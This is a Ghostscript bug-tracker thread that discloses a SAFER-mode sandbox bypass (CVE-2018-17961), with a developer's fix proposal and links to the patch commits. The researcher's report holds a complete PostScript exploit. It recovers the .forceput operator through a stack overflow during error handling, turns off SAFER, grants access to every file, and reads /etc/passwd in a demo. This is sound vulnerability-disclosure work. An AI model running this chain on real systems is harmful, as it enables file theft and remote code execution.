Created attachment 15688 [details] execute only bypass I recently realised the reason upstream have started ignoring errordict in SAFER mode: you could cause errors in executeonly procedures, and then hidden operators would be exposed to you in the error handler. Now that I understand the problem, I realized that the fix is incomplete. You can no longer get access to operators inside executeonly functions, but you *can* make the invocation of the errorhandler itself fail by filling up the stack with junk and making it /stackoverflow. I think the only way to exploit it is to find an executeonly procedure that can stop in two different ways, you trigger the first exception and then you make calling the errorhandler stop (/stackoverflow or /execoverflow will do). When *that* fails the operand stack is left in an inconsistent state, because ghostscript was trying to set up the errorhandler but failed. This is exploitable. Here is how: % first, fill up the stack with junk so there is only a tiny bit of room for the errorhandler GS>0 1 300368 {} for % We can make /switch_to_normal_marking_ops fail by making pdfopdict a non-dictionary GS<300369>/pdfopdict null def % call /switch_to_normal_marking_ops (which is executeonly) GS<300369>GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped % that failed because of /typecheck writing to pdfopdict GS<2>== true % And if we look at the last few elements of the saved stack... GS<1>dup dup length 10 sub 10 getinterval == [300364 300365 300366 300367 300368 null /m {normal_m} --.forceput-- /typecheck] % Oops! The failed operator is on there ready to be passed to the errorhandler. % Now we can do whatever we like, lets disable SAFER and give ourselves access % to the whole filesystem (including .bashrc, ssh keys, chrome cookies, everything) systemdict /SAFER false forceput systemdict /userparams get /PermitFileControl [(*)] forceput systemdict /userparams get /PermitFileWriting [(*)] forceput systemdict /userparams get /PermitFileReading [(*)] forceput Putting it all together, here is reading /etc/passwd just to demo: $ ./gs -dSAFER -f test.ps GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. (root:x:0:0:root:/root:/bin/bash) This is a complete remote code execution vulnerability that can be triggered just by visiting a webpage. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
I believe the only way to solve this is to make everywhere that calls .forcedef and co into an operator procedure (rather than a regular executable array), the error then gets reported against the operator procedure, rather than the individual operation inside the procedure. In the case, the error is reported happening in "--switch_to_normal_marking_ops--" rather than in "--.forceput--". Anything else, as far as I can tell, would deviate from the PLRM, and leave us with a non-compliant interpreter.
This is CVE-2018-17961.
Hello, is there any update on the status of this bug?
There are two commits relevant to this: one specifically fixes this problem: http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0 And the other resolves potential related issues: http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94